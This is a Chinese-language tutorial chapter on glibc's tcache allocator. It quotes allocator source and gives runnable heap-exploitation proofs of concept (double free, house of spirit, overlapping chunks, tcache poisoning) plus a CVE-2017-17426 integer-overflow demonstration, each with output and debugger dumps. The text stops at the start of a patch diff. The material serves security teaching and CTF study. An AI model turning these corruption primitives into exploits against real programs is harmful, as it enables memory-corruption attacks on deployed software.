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815 lines
30 KiB
Markdown
815 lines
30 KiB
Markdown
# 4.14 glibc tcache 机制
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- [tcache](#tcache)
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- [安全性分析](#安全性分析)
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- [CTF 实例](#ctf-实例)
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- [CVE-2017-17426](#cve-2017-17426)
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- [参考资料](#参考资料)
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## tcache
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tcache 全名 thread local caching，它为每个线程创建一个缓存（cache），从而实现无锁的分配算法，有不错的性能提升。libc-2.26 正式提供了该机制，并默认开启，具体可以查看这次 [commit](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc)。
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### 数据结构
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glibc 在编译时使用 `USE_TCACHE` 条件来开启 tcache 机制，并定义了下面一些东西：
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```c
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#if USE_TCACHE
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/* We want 64 entries. This is an arbitrary limit, which tunables can reduce. */
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# define TCACHE_MAX_BINS 64
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# define MAX_TCACHE_SIZE tidx2usize (TCACHE_MAX_BINS-1)
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/* Only used to pre-fill the tunables. */
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# define tidx2usize(idx) (((size_t) idx) * MALLOC_ALIGNMENT + MINSIZE - SIZE_SZ)
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/* When "x" is from chunksize(). */
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# define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT)
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/* When "x" is a user-provided size. */
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# define usize2tidx(x) csize2tidx (request2size (x))
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/* With rounding and alignment, the bins are...
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idx 0 bytes 0..24 (64-bit) or 0..12 (32-bit)
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idx 1 bytes 25..40 or 13..20
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idx 2 bytes 41..56 or 21..28
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etc. */
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/* This is another arbitrary limit, which tunables can change. Each
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tcache bin will hold at most this number of chunks. */
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# define TCACHE_FILL_COUNT 7
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#endif
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```
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值得注意的比如每个线程默认使用 64 个单链表结构的 bins，每个 bins 最多存放 7 个 chunk。chunk 的大小在 64 位机器上以 16 字节递增，从 24 到 1032 字节。32 位机器上则是以 8 字节递增，从 12 到 512 字节。所以 tcache bin 只用于存放 non-large 的 chunk。
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然后引入了两个新的数据结构，`tcache_entry` 和 `tcache_perthread_struct`：
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```c
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/* We overlay this structure on the user-data portion of a chunk when
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the chunk is stored in the per-thread cache. */
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typedef struct tcache_entry
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{
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struct tcache_entry *next;
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} tcache_entry;
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/* There is one of these for each thread, which contains the
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per-thread cache (hence "tcache_perthread_struct"). Keeping
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overall size low is mildly important. Note that COUNTS and ENTRIES
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are redundant (we could have just counted the linked list each
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time), this is for performance reasons. */
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typedef struct tcache_perthread_struct
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{
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char counts[TCACHE_MAX_BINS];
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tcache_entry *entries[TCACHE_MAX_BINS];
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} tcache_perthread_struct;
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static __thread tcache_perthread_struct *tcache = NULL;
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```
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tcache_perthread_struct 包含一个数组 entries，用于放置 64 个 bins，数组 counts 存放每个 bins 中的 chunk 数量。每个被放入相应 bins 中的 chunk 都会在其用户数据中包含一个 tcache_entry（FD指针），指向同 bins 中的下一个 chunk，构成单链表。
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tcache 初始化操作如下：
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```c
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static void
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tcache_init(void)
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{
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mstate ar_ptr;
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void *victim = 0;
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const size_t bytes = sizeof (tcache_perthread_struct);
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if (tcache_shutting_down)
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return;
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arena_get (ar_ptr, bytes);
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victim = _int_malloc (ar_ptr, bytes);
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if (!victim && ar_ptr != NULL)
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{
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ar_ptr = arena_get_retry (ar_ptr, bytes);
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victim = _int_malloc (ar_ptr, bytes);
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}
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if (ar_ptr != NULL)
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__libc_lock_unlock (ar_ptr->mutex);
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/* In a low memory situation, we may not be able to allocate memory
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- in which case, we just keep trying later. However, we
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typically do this very early, so either there is sufficient
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memory, or there isn't enough memory to do non-trivial
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allocations anyway. */
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if (victim)
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{
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tcache = (tcache_perthread_struct *) victim;
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memset (tcache, 0, sizeof (tcache_perthread_struct));
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}
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}
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```
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### 使用
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触发在 tcache 中放入 chunk 的操作：
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- free 时：在 fastbin 的操作之前进行，如果 chunk size 符合要求，并且对应的 bins 还未装满，则将其放进去。
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```c
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#if USE_TCACHE
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{
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size_t tc_idx = csize2tidx (size);
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if (tcache
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&& tc_idx < mp_.tcache_bins
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&& tcache->counts[tc_idx] < mp_.tcache_count)
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{
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tcache_put (p, tc_idx);
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return;
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}
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}
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#endif
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```
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- malloc 时：有三个地方会触发。
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- 如果从 fastbin 中成功返回了一个需要的 chunk，那么对应 fastbin 中的其他 chunk 会被放进相应的 tcache bin 中，直到上限。需要注意的是 chunks 在 tcache bin 的顺序和在 fastbin 中的顺序是反过来的。
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```c
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#if USE_TCACHE
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/* While we're here, if we see other chunks of the same size,
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stash them in the tcache. */
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size_t tc_idx = csize2tidx (nb);
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if (tcache && tc_idx < mp_.tcache_bins)
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{
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mchunkptr tc_victim;
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/* While bin not empty and tcache not full, copy chunks. */
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while (tcache->counts[tc_idx] < mp_.tcache_count
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&& (tc_victim = *fb) != NULL)
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{
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if (SINGLE_THREAD_P)
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*fb = tc_victim->fd;
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else
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{
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REMOVE_FB (fb, pp, tc_victim);
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if (__glibc_unlikely (tc_victim == NULL))
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break;
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}
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tcache_put (tc_victim, tc_idx);
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}
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}
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#endif
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```
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- smallbin 中的情况与 fastbin 相似，双链表中的剩余 chunk 会被填充到 tcache bin 中，直到上限。
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```c
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#if USE_TCACHE
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/* While we're here, if we see other chunks of the same size,
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stash them in the tcache. */
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size_t tc_idx = csize2tidx (nb);
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if (tcache && tc_idx < mp_.tcache_bins)
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{
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mchunkptr tc_victim;
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/* While bin not empty and tcache not full, copy chunks over. */
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while (tcache->counts[tc_idx] < mp_.tcache_count
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&& (tc_victim = last (bin)) != bin)
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{
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if (tc_victim != 0)
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{
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bck = tc_victim->bk;
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set_inuse_bit_at_offset (tc_victim, nb);
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if (av != &main_arena)
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set_non_main_arena (tc_victim);
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bin->bk = bck;
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bck->fd = bin;
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tcache_put (tc_victim, tc_idx);
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}
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}
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}
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#endif
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```
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- binning code（chunk合并等其他情况）中，每一个符合要求的 chunk 都会优先被放入 tcache，而不是直接返回（除非tcache被装满）。寻找结束后，tcache 会返回其中一个。
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```c
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#if USE_TCACHE
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/* Fill cache first, return to user only if cache fills.
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We may return one of these chunks later. */
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if (tcache_nb
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&& tcache->counts[tc_idx] < mp_.tcache_count)
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{
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tcache_put (victim, tc_idx);
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return_cached = 1;
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continue;
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}
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else
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{
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#endif
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```
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触发从 tcache 中取出 chunk 的操作：
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- 在 `__libc_malloc()` 调用 `_int_malloc()` 之前，如果 tcache bin 中有符合要求的 chunk，则直接将它返回。
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```c
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#if USE_TCACHE
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/* int_free also calls request2size, be careful to not pad twice. */
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size_t tbytes;
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checked_request2size (bytes, tbytes);
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size_t tc_idx = csize2tidx (tbytes);
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MAYBE_INIT_TCACHE ();
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DIAG_PUSH_NEEDS_COMMENT;
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if (tc_idx < mp_.tcache_bins
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/*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
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&& tcache
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&& tcache->entries[tc_idx] != NULL)
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{
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return tcache_get (tc_idx);
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}
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DIAG_POP_NEEDS_COMMENT;
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#endif
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```
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- bining code 中，如果在 tcache 中放入 chunk 达到上限，则会直接返回最后一个 chunk。
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```c
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#if USE_TCACHE
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/* If we've processed as many chunks as we're allowed while
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filling the cache, return one of the cached ones. */
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++tcache_unsorted_count;
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if (return_cached
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&& mp_.tcache_unsorted_limit > 0
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&& tcache_unsorted_count > mp_.tcache_unsorted_limit)
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{
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return tcache_get (tc_idx);
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}
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#endif
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```
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当然默认情况下没有限制，所以这段代码也不会执行：
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```c
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.tcache_unsorted_limit = 0 /* No limit. */
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```
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- binning code 结束后，如果没有直接返回（如上），那么如果有至少一个符合要求的 chunk 被找到，则返回最后一个。
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```c
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#if USE_TCACHE
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/* If all the small chunks we found ended up cached, return one now. */
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if (return_cached)
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{
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return tcache_get (tc_idx);
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}
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#endif
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```
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另外还需要注意的是 tcache 中的 chunk 不会被合并，无论是相邻 chunk，还是 chunk 和 top chunk。因为这些 chunk 会被标记为 inuse。
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## 安全性分析
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`tcache_put()` 和 `tcache_get()` 分别用于从单链表中放入和取出 chunk：
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```c
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/* Caller must ensure that we know tc_idx is valid and there's room
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for more chunks. */
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static __always_inline void
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tcache_put (mchunkptr chunk, size_t tc_idx)
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{
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tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
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assert (tc_idx < TCACHE_MAX_BINS);
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e->next = tcache->entries[tc_idx];
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tcache->entries[tc_idx] = e;
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++(tcache->counts[tc_idx]);
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}
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/* Caller must ensure that we know tc_idx is valid and there's
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available chunks to remove. */
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static __always_inline void *
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tcache_get (size_t tc_idx)
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{
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tcache_entry *e = tcache->entries[tc_idx];
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assert (tc_idx < TCACHE_MAX_BINS);
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assert (tcache->entries[tc_idx] > 0);
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tcache->entries[tc_idx] = e->next;
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--(tcache->counts[tc_idx]);
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return (void *) e;
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}
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```
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可以看到注释部分，它假设调用者已经对参数进行了有效性检查，然而由于对 tcache 的操作在 free 和 malloc 中往往都处于很靠前的位置，导致原来的许多有效性检查都被无视了。这样做虽然有利于提升执行效率，但对安全性造成了负面影响。
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### tcache_dup
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```c
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#include <stdlib.h>
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#include <stdio.h>
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int main() {
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void *p1 = malloc(0x10);
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fprintf(stderr, "1st malloc(0x10): %p\n", p1);
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fprintf(stderr, "Freeing the first one\n");
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free(p1);
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fprintf(stderr, "Freeing the first one again\n");
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free(p1);
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fprintf(stderr, "2nd malloc(0x10): %p\n", malloc(0x10));
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fprintf(stderr, "3rd malloc(0x10): %p\n", malloc(0x10));
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}
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```
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```text
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$ ./tcache_dup
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1st malloc(0x10): 0x56088c39f260
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Freeing the first one
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Freeing the first one again
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2nd malloc(0x10): 0x56088c39f260
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3rd malloc(0x10): 0x56088c39f260
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```
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tcache_dup 与 fastbin_dup 类似，但其实更加简单，因为它并不局限于 fastbin，只要在 tcache chunk 范围内的都可以，而且 double-free 也不再需要考虑 top 的问题，直接 free 两次就可以了。然后我们就可以得到相同的 chunk。
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第一次 free 后：
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```text
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gdb-peda$ x/4gx 0x0000555555756260-0x10
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0x555555756250: 0x0000000000000000 0x0000000000000021
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0x555555756260: 0x0000000000000000 0x0000000000000000
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gdb-peda$ vmmap heap
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Start End Perm Name
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0x0000555555756000 0x0000555555777000 rw-p [heap]
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gdb-peda$ x/10gx 0x0000555555756000+0x10
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0x555555756010: 0x0000000000000001 0x0000000000000000 <-- counts
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0x555555756020: 0x0000000000000000 0x0000000000000000
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0x555555756030: 0x0000000000000000 0x0000000000000000
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0x555555756040: 0x0000000000000000 0x0000000000000000
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0x555555756050: 0x0000555555756260 0x0000000000000000 <-- entries
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```
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chunk 被放入相应的 tcache bin 中，可以看到该 tcache bin 的 counts 被设为 1，表示有 1 个 chunk，入口为 0x0000555555756260。
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第二次 free 后：
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```text
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gdb-peda$ x/4gx 0x0000555555756260-0x10
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0x555555756250: 0x0000000000000000 0x0000000000000021 <-- chunk 1 [double freed]
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0x555555756260: 0x0000555555756260 0x0000000000000000
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gdb-peda$ x/10gx 0x0000555555756000+0x10
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0x555555756010: 0x0000000000000002 0x0000000000000000 <-- counts
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0x555555756020: 0x0000000000000000 0x0000000000000000
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0x555555756030: 0x0000000000000000 0x0000000000000000
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0x555555756040: 0x0000000000000000 0x0000000000000000
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0x555555756050: 0x0000555555756260 0x0000000000000000 <-- entries
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```
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counts 变成 2，入口不变，表示 tcache bin 已经有两个 chunk 了，虽然是相同的。
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两次 malloc 后：
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```text
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gdb-peda$ x/10gx 0x0000555555756000+0x10
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0x555555756010: 0x0000000000000000 0x0000000000000000 <-- counts
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0x555555756020: 0x0000000000000000 0x0000000000000000
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0x555555756030: 0x0000000000000000 0x0000000000000000
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0x555555756040: 0x0000000000000000 0x0000000000000000
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0x555555756050: 0x0000555555756260 0x0000000000000000
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```
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于是我们得到了两个指向同一块内存区域的指针。
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### tcache_house_of_spirit
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```c
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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int main() {
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malloc(1); // init heap
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fprintf(stderr, "We will overwrite a pointer to point to a fake 'smallbin' region.\n");
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unsigned long long *a, *b;
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unsigned long long fake_chunk[64] __attribute__ ((aligned (16)));
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fprintf(stderr, "The chunk: %p\n", &fake_chunk[0]);
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fake_chunk[1] = 0x110; // the size
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memset(fake_chunk+2, 0x41, sizeof(fake_chunk)-0x10);
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fprintf(stderr, "Overwritting our pointer with the address of the fake region inside the fake chunk, %p.\n", &fake_chunk[0]);
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a = &fake_chunk[2];
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fprintf(stderr, "Freeing the overwritten pointer.\n");
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free(a);
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fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunk[0], &fake_chunk[2]);
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b = malloc(0x100);
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memset(fake_chunk+2, 0x42, sizeof(fake_chunk)-0x10);
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fprintf(stderr, "malloc(0x100): %p\n", b);
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}
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```
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```text
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$ ./tcache_house_of_spirit
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We will overwrite a pointer to point to a fake 'smallbin' region.
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The chunk: 0x7fffffffdb00
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Overwritting our pointer with the address of the fake region inside the fake chunk, 0x7fffffffdb00.
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Freeing the overwritten pointer.
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Now the next malloc will return the region of our fake chunk at 0x7fffffffdb00, which will be 0x7fffffffdb10!
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malloc(0x100): 0x7fffffffdb10
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```
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tcache 在释放堆块时没有对其前后堆块进行合法性校验，只需要本块对齐（2*SIZE_SZ）就可以将堆块释放到 tcache 中，而在申请时，tcache 对内部大小合适的堆块也是直接分配的，导致常见的 house_of_spirit 可以延伸到 smallbin，而且比以前更加简单。
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在栈上构造 fake chunk，大小为 smallbin：
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```text
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gdb-peda$ x/10gx fake_chunk
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0x7fffffffdad0: 0x0000000000000000 0x0000000000000110 <-- fake chunk
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0x7fffffffdae0: 0x4141414141414141 0x4141414141414141
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0x7fffffffdaf0: 0x4141414141414141 0x4141414141414141
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0x7fffffffdb00: 0x4141414141414141 0x4141414141414141
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0x7fffffffdb10: 0x4141414141414141 0x4141414141414141
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```
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||
free 掉之后，该 fake chunk 被放进 tcache bin：
|
||
|
||
```text
|
||
gdb-peda$ x/10gx fake_chunk
|
||
0x7fffffffdad0: 0x0000000000000000 0x0000000000000110 <-- fake chunk [be freed]
|
||
0x7fffffffdae0: 0x0000000000000000 0x4141414141414141
|
||
0x7fffffffdaf0: 0x4141414141414141 0x4141414141414141
|
||
0x7fffffffdb00: 0x4141414141414141 0x4141414141414141
|
||
0x7fffffffdb10: 0x4141414141414141 0x4141414141414141
|
||
gdb-peda$ vmmap heap
|
||
Start End Perm Name
|
||
0x0000555555756000 0x0000555555777000 rw-p [heap]
|
||
gdb-peda$ x/30gx 0x0000555555756000+0x10
|
||
0x555555756010: 0x0000000000000000 0x0100000000000000 <-- counts
|
||
0x555555756020: 0x0000000000000000 0x0000000000000000
|
||
0x555555756030: 0x0000000000000000 0x0000000000000000
|
||
0x555555756040: 0x0000000000000000 0x0000000000000000
|
||
0x555555756050: 0x0000000000000000 0x0000000000000000
|
||
0x555555756060: 0x0000000000000000 0x0000000000000000
|
||
0x555555756070: 0x0000000000000000 0x0000000000000000
|
||
0x555555756080: 0x0000000000000000 0x0000000000000000
|
||
0x555555756090: 0x0000000000000000 0x0000000000000000
|
||
0x5555557560a0: 0x0000000000000000 0x0000000000000000
|
||
0x5555557560b0: 0x0000000000000000 0x0000000000000000
|
||
0x5555557560c0: 0x0000000000000000 0x00007fffffffdae0 <-- entries
|
||
0x5555557560d0: 0x0000000000000000 0x0000000000000000
|
||
0x5555557560e0: 0x0000000000000000 0x0000000000000000
|
||
0x5555557560f0: 0x0000000000000000 0x0000000000000000
|
||
```
|
||
|
||
最后 malloc 即可将 fake chunk 取出来：
|
||
|
||
```text
|
||
gdb-peda$ p b
|
||
$1 = (unsigned long long *) 0x7fffffffdae0
|
||
gdb-peda$ p a
|
||
$2 = (unsigned long long *) 0x7fffffffdae0
|
||
gdb-peda$ x/10gx fake_chunk
|
||
0x7fffffffdad0: 0x0000000000000000 0x0000000000000110 <-- new chunk
|
||
0x7fffffffdae0: 0x4242424242424242 0x4242424242424242
|
||
0x7fffffffdaf0: 0x4242424242424242 0x4242424242424242
|
||
0x7fffffffdb00: 0x4242424242424242 0x4242424242424242
|
||
0x7fffffffdb10: 0x4242424242424242 0x4242424242424242
|
||
```
|
||
|
||
于是我们就在得到了一个在栈上的 chunk。
|
||
|
||
### tcache_overlapping_chunks
|
||
|
||
```c
|
||
#include <stdio.h>
|
||
#include <stdlib.h>
|
||
#include <stdint.h>
|
||
#include <string.h>
|
||
|
||
int main() {
|
||
intptr_t *p1, *p2, *p3;
|
||
|
||
p1 = malloc(0x50 - 8);
|
||
p2 = malloc(0x20 - 8);
|
||
memset(p1, 0x41, 0x50-8);
|
||
memset(p2, 0x41, 0x30-8);
|
||
fprintf(stderr, "Allocated victim chunk with requested size 0x48: %p\n", p1);
|
||
fprintf(stderr, "Allocated sentry element after victim: %p\n", p2);
|
||
|
||
int evil_chunk_size = 0x110;
|
||
int evil_region_size = 0x110 - 8;
|
||
fprintf(stderr, "Emulating corruption of the victim's size to 0x110\n");
|
||
*(p1-1) = evil_chunk_size;
|
||
fprintf(stderr, "Freed victim chunk to put it in a different tcache bin\n");
|
||
free(p1);
|
||
|
||
p3 = malloc(evil_region_size);
|
||
memset(p3, 0x42, evil_region_size);
|
||
fprintf(stderr, "Requested a chunk of 0x100 bytes\n");
|
||
fprintf(stderr, "p3: %p ~ %p\n", p3, (char *)p3+evil_region_size);
|
||
fprintf(stderr, "p2: %p ~ %p\n", p2, (char *)p2+0x20-8);
|
||
}
|
||
```
|
||
|
||
```text
|
||
$ ./tcache_overlapping_chunks
|
||
Allocated victim chunk with requested size 0x48: 0x555555756260
|
||
Allocated sentry element after victim: 0x5555557562b0
|
||
Emulating corruption of the victim's size to 0x110
|
||
Freed victim chunk to put it in a different tcache bin
|
||
Requested a chunk of 0x100 bytes
|
||
p3: 0x555555756260 ~ 0x555555756368
|
||
p2: 0x5555557562b0 ~ 0x5555557562c8
|
||
```
|
||
|
||
在 `_int_free()` 时，libc 完全没有对 chunk 进行检查，所以我们可以直接修改其 size，在 free 时该 chunk 就被放进了不同的 tcache bin。在下一次 malloc 时得到不一样大小的 chunk，造成堆块重叠。
|
||
|
||
首先我们分配两个 chunk：
|
||
|
||
```text
|
||
gdb-peda$ x/16gx 0x555555756260-0x10
|
||
0x555555756250: 0x0000000000000000 0x0000000000000051 <-- chunk p1
|
||
0x555555756260: 0x4141414141414141 0x4141414141414141
|
||
0x555555756270: 0x4141414141414141 0x4141414141414141
|
||
0x555555756280: 0x4141414141414141 0x4141414141414141
|
||
0x555555756290: 0x4141414141414141 0x4141414141414141
|
||
0x5555557562a0: 0x4141414141414141 0x0000000000000021 <-- chunk p2
|
||
0x5555557562b0: 0x4141414141414141 0x4141414141414141
|
||
0x5555557562c0: 0x4141414141414141 0x0000000000000411
|
||
```
|
||
|
||
然后修改第一个的 size 并将其释放：
|
||
|
||
```text
|
||
gdb-peda$ x/16gx 0x555555756260-0x10
|
||
0x555555756250: 0x0000000000000000 0x0000000000000110 <-- chunk p1 [be freed]
|
||
0x555555756260: 0x0000000000000000 0x4141414141414141
|
||
0x555555756270: 0x4141414141414141 0x4141414141414141
|
||
0x555555756280: 0x4141414141414141 0x4141414141414141
|
||
0x555555756290: 0x4141414141414141 0x4141414141414141
|
||
0x5555557562a0: 0x4141414141414141 0x0000000000000021 <-- chunk p2
|
||
0x5555557562b0: 0x4141414141414141 0x4141414141414141
|
||
0x5555557562c0: 0x4141414141414141 0x0000000000000411
|
||
gdb-peda$ vmmap heap
|
||
Start End Perm Name
|
||
0x0000555555756000 0x0000555555777000 rw-p [heap]
|
||
gdb-peda$ x/30gx 0x0000555555756000+0x10
|
||
0x555555756010: 0x0000000000000000 0x0100000000000000 <-- counts
|
||
0x555555756020: 0x0000000000000000 0x0000000000000000
|
||
0x555555756030: 0x0000000000000000 0x0000000000000000
|
||
0x555555756040: 0x0000000000000000 0x0000000000000000
|
||
0x555555756050: 0x0000000000000000 0x0000000000000000
|
||
0x555555756060: 0x0000000000000000 0x0000000000000000
|
||
0x555555756070: 0x0000000000000000 0x0000000000000000
|
||
0x555555756080: 0x0000000000000000 0x0000000000000000
|
||
0x555555756090: 0x0000000000000000 0x0000000000000000
|
||
0x5555557560a0: 0x0000000000000000 0x0000000000000000
|
||
0x5555557560b0: 0x0000000000000000 0x0000000000000000
|
||
0x5555557560c0: 0x0000000000000000 0x0000555555756260 <-- entries
|
||
0x5555557560d0: 0x0000000000000000 0x0000000000000000
|
||
0x5555557560e0: 0x0000000000000000 0x0000000000000000
|
||
0x5555557560f0: 0x0000000000000000 0x0000000000000000
|
||
```
|
||
|
||
可以看到 chunk p1 并没有放到它应该去的 tcache bin 中，而是放到了修改 size 后对应的 tcache bin。
|
||
|
||
最后将其 malloc 出来：
|
||
|
||
```text
|
||
gdb-peda$ p p3
|
||
$1 = (intptr_t *) 0x555555756260
|
||
gdb-peda$ p p2
|
||
$2 = (intptr_t *) 0x5555557562b0
|
||
gdb-peda$ p p1
|
||
$3 = (intptr_t *) 0x555555756260
|
||
gdb-peda$ x/36gx 0x555555756260-0x10
|
||
0x555555756250: 0x0000000000000000 0x0000000000000110 <-- chunk p3
|
||
0x555555756260: 0x4242424242424242 0x4242424242424242
|
||
0x555555756270: 0x4242424242424242 0x4242424242424242
|
||
0x555555756280: 0x4242424242424242 0x4242424242424242
|
||
0x555555756290: 0x4242424242424242 0x4242424242424242
|
||
0x5555557562a0: 0x4242424242424242 0x4242424242424242 <-- chunk p2
|
||
0x5555557562b0: 0x4242424242424242 0x4242424242424242
|
||
0x5555557562c0: 0x4242424242424242 0x4242424242424242
|
||
0x5555557562d0: 0x4242424242424242 0x4242424242424242
|
||
0x5555557562e0: 0x4242424242424242 0x4242424242424242
|
||
0x5555557562f0: 0x4242424242424242 0x4242424242424242
|
||
0x555555756300: 0x4242424242424242 0x4242424242424242
|
||
0x555555756310: 0x4242424242424242 0x4242424242424242
|
||
0x555555756320: 0x4242424242424242 0x4242424242424242
|
||
0x555555756330: 0x4242424242424242 0x4242424242424242
|
||
0x555555756340: 0x4242424242424242 0x4242424242424242
|
||
0x555555756350: 0x4242424242424242 0x4242424242424242
|
||
0x555555756360: 0x4242424242424242 0x0000000000000000
|
||
```
|
||
|
||
于是 chunk p2 被 chunk p3 覆盖了。
|
||
|
||
### tcache_poisoning
|
||
|
||
```c
|
||
#include <stdio.h>
|
||
#include <stdlib.h>
|
||
#include <stdint.h>
|
||
#include <string.h>
|
||
|
||
int main() {
|
||
intptr_t *p1, *p2, *p3;
|
||
size_t target[10];
|
||
printf("Our target is a stack region at %p\n", (void *)target);
|
||
|
||
p1 = malloc(0x30);
|
||
memset(p1, 0x41, 0x30+8);
|
||
fprintf(stderr, "Allocated victim chunk with requested size 0x30 at %p\n", p1);
|
||
|
||
fprintf(stderr, "Freed victim chunk to put it in a tcache bin\n");
|
||
free(p1);
|
||
fprintf(stderr, "Emulating corruption of the next ptr\n");
|
||
*p1 = (int64_t)target;
|
||
|
||
fprintf(stderr, "Now we make two requests for the appropriate size so that malloc returns a chunk overlapping our target\n");
|
||
p2 = malloc(0x30);
|
||
memset(p2, 0x42, 0x30+8);
|
||
p3 = malloc(0x30);
|
||
memset(p3, 0x42, 0x30+8);
|
||
fprintf(stderr, "The first malloc(0x30) returned %p, the second one: %p\n", p2, p3);
|
||
}
|
||
```
|
||
|
||
```text
|
||
$ ./tcache_poisoning
|
||
Our target is a stack region at 0x7fffffffdcc0
|
||
Allocated victim chunk with requested size 0x30 at 0x555555756670
|
||
Freed victim chunk to put it in a tcache bin
|
||
Emulating corruption of the next ptr
|
||
Now we make two requests for the appropriate size so that malloc returns a chunk overlapping our target
|
||
The first malloc(0x30) returned 0x555555756670, the second one: 0x7fffffffdcc0
|
||
```
|
||
|
||
该实例通过破坏 tcache bin 中 chunk 的 fd 指针，将其指向不同的位置，从而改变 `tcache_entry` 的 `next` 指针，在 malloc 时在任意位置得到 chunk。而 `tcache_get()` 函数没有对此做任何的检查。
|
||
|
||
分配一个 chunk p1 后释放，该 chunk 将被放入相应的 tcache bin，其 fd 指针被清空：
|
||
|
||
```text
|
||
gdb-peda$ x/10gx (void *)p1-0x10
|
||
0x555555756660: 0x0000000000000000 0x0000000000000041 <-- chunk p1 [be freed]
|
||
0x555555756670: 0x0000000000000000 0x4141414141414141 <-- fd pointer
|
||
0x555555756680: 0x4141414141414141 0x4141414141414141
|
||
0x555555756690: 0x4141414141414141 0x4141414141414141
|
||
0x5555557566a0: 0x4141414141414141 0x0000000000020961
|
||
gdb-peda$ vmmap heap
|
||
Start End Perm Name
|
||
0x0000555555756000 0x0000555555777000 rw-p [heap]
|
||
gdb-peda$ x/12gx 0x0000555555756000+0x10
|
||
0x555555756010: 0x0000000000010000 0x0000000000000000 <-- counts
|
||
0x555555756020: 0x0000000000000000 0x0000000000000000
|
||
0x555555756030: 0x0000000000000000 0x0000000000000000
|
||
0x555555756040: 0x0000000000000000 0x0000000000000000
|
||
0x555555756050: 0x0000000000000000 0x0000000000000000
|
||
0x555555756060: 0x0000555555756670 0x0000000000000000 <-- entries
|
||
```
|
||
|
||
然后修改 fd 指针指向栈上的地址 target：
|
||
|
||
```text
|
||
gdb-peda$ x/10gx (void *)p1-0x10
|
||
0x555555756660: 0x0000000000000000 0x0000000000000041 <-- chunk p1 [be freed]
|
||
0x555555756670: 0x00007fffffffdc80 0x4141414141414141 <-- fd pointer
|
||
0x555555756680: 0x4141414141414141 0x4141414141414141
|
||
0x555555756690: 0x4141414141414141 0x4141414141414141
|
||
0x5555557566a0: 0x4141414141414141 0x0000000000020961
|
||
```
|
||
|
||
接下来的第一次 malloc 将 chunk p1 的地方取出：
|
||
|
||
```text
|
||
gdb-peda$ x/10gx (void *)p1-0x10
|
||
0x555555756660: 0x0000000000000000 0x0000000000000041 <-- chunk p2
|
||
0x555555756670: 0x4242424242424242 0x4242424242424242
|
||
0x555555756680: 0x4242424242424242 0x4242424242424242
|
||
0x555555756690: 0x4242424242424242 0x4242424242424242
|
||
0x5555557566a0: 0x4242424242424242 0x0000000000020961
|
||
gdb-peda$ x/12gx 0x0000555555756000+0x10
|
||
0x555555756010: 0x0000000000000000 0x0000000000000000
|
||
0x555555756020: 0x0000000000000000 0x0000000000000000
|
||
0x555555756030: 0x0000000000000000 0x0000000000000000
|
||
0x555555756040: 0x0000000000000000 0x0000000000000000
|
||
0x555555756050: 0x0000000000000000 0x0000000000000000
|
||
0x555555756060: 0x00007fffffffdc80 0x0000000000000000 <-- entries
|
||
```
|
||
|
||
可以看到 tcache 的 entries 被修改为我们伪造的 fd 地址。
|
||
|
||
第二次 malloc，虽然 tcache bin 的 counts 为 0，但它并没有做检查，直接在 entries 指向的地方返回了一个 chunk：
|
||
|
||
```text
|
||
gdb-peda$ x/10gx (void *)p3-0x10
|
||
0x7fffffffdc70: 0x0000555555756670 0x00007fffffffdc80 <-- chunk p3
|
||
0x7fffffffdc80: 0x4242424242424242 0x4242424242424242
|
||
0x7fffffffdc90: 0x4242424242424242 0x4242424242424242
|
||
0x7fffffffdca0: 0x4242424242424242 0x4242424242424242
|
||
0x7fffffffdcb0: 0x4242424242424242 0x0000000000000000
|
||
```
|
||
|
||
于是我们得到了一个在栈上的 chunk。
|
||
|
||
有趣的是 tcache bin 的 counts 居然产生了整数溢出（`0x00-1=0xff`）：
|
||
|
||
```text
|
||
gdb-peda$ x/12gx 0x0000555555756000+0x10
|
||
0x555555756010: 0x0000000000ff0000 0x0000000000000000
|
||
0x555555756020: 0x0000000000000000 0x0000000000000000
|
||
0x555555756030: 0x0000000000000000 0x0000000000000000
|
||
0x555555756040: 0x0000000000000000 0x0000000000000000
|
||
0x555555756050: 0x0000000000000000 0x0000000000000000
|
||
0x555555756060: 0x00000000000000c2 0x0000000000000000
|
||
```
|
||
|
||
看来这个机制仍然存在很多的问题啊。
|
||
|
||
注：突然发现这个 `0xff` 在 unsorted bin attack 里有很巧妙的用处，参考章节 3.1.8。
|
||
|
||
这一节的代码可以在[这里](../src/others/4.14_glibc_tcache)找到。其他的一些情况可以参考章节 3.3.6。
|
||
|
||
## CTF 实例
|
||
|
||
在最近的 CTF 中，已经开始尝试使用 libc-2.26，比如章节 6.1.15、6.1.19 中的例子。
|
||
|
||
## CVE-2017-17426
|
||
|
||
libc-2.26 中的 tcache 机制被发现了安全漏洞，由于 `__libc_malloc()` 使用 `request2size()` 来将所请求的分配大小转换为计算块大小，该函数不会进行整数溢出检查。所以如果请求一个非常大的堆块（接近 `SIZE_MAX`），将会导致整数溢出，从而导致 malloc 错误地返回了 tcache bin 里的堆块。
|
||
|
||
一个例子：
|
||
|
||
```c
|
||
#include <stdio.h>
|
||
#include <stdlib.h>
|
||
|
||
int main() {
|
||
void *x = malloc(10);
|
||
printf("malloc(10): %p\n", x);
|
||
free(x);
|
||
|
||
void *y = malloc(((size_t)~0) - 2); // overflow allocation (size_t.max-2)
|
||
printf("malloc(((size_t)~0) - 2): %p\n", y);
|
||
}
|
||
```
|
||
|
||
```text
|
||
$ gcc cve201717426.c
|
||
$ /usr/local/glibc-2.26/lib/ld-2.26.so ./a.out
|
||
malloc(10): 0x7f3f945ed260
|
||
malloc(((size_t)~0) - 2): 0x7f3f945ed260
|
||
$ /usr/local/glibc-2.27/lib/ld-2.27.so ./a.out
|
||
malloc(10): 0x7f399c69e260
|
||
malloc(((size_t)~0) - 2): (nil)
|
||
```
|
||
|
||
可以看到在使用 libc-2.26 时，第二次 malloc 返回了第一次 free 的堆块。而在使用 libc-2.27 时返回 NULL，说明该问题已被修复。
|
||
|
||
### patch
|
||
|
||
该漏洞在 libc-2.27 的这次 [commit](https://sourceware.org/git/gitweb.cgi?p=glibc.git;h=34697694e8a93b325b18f25f7dcded55d6baeaf6) 中被修复。方法是用更安全的 `checked_request2size()` 替换 `request2size()`，以实现对整数溢出的检查：
|
||
|
||
```diff
|
||
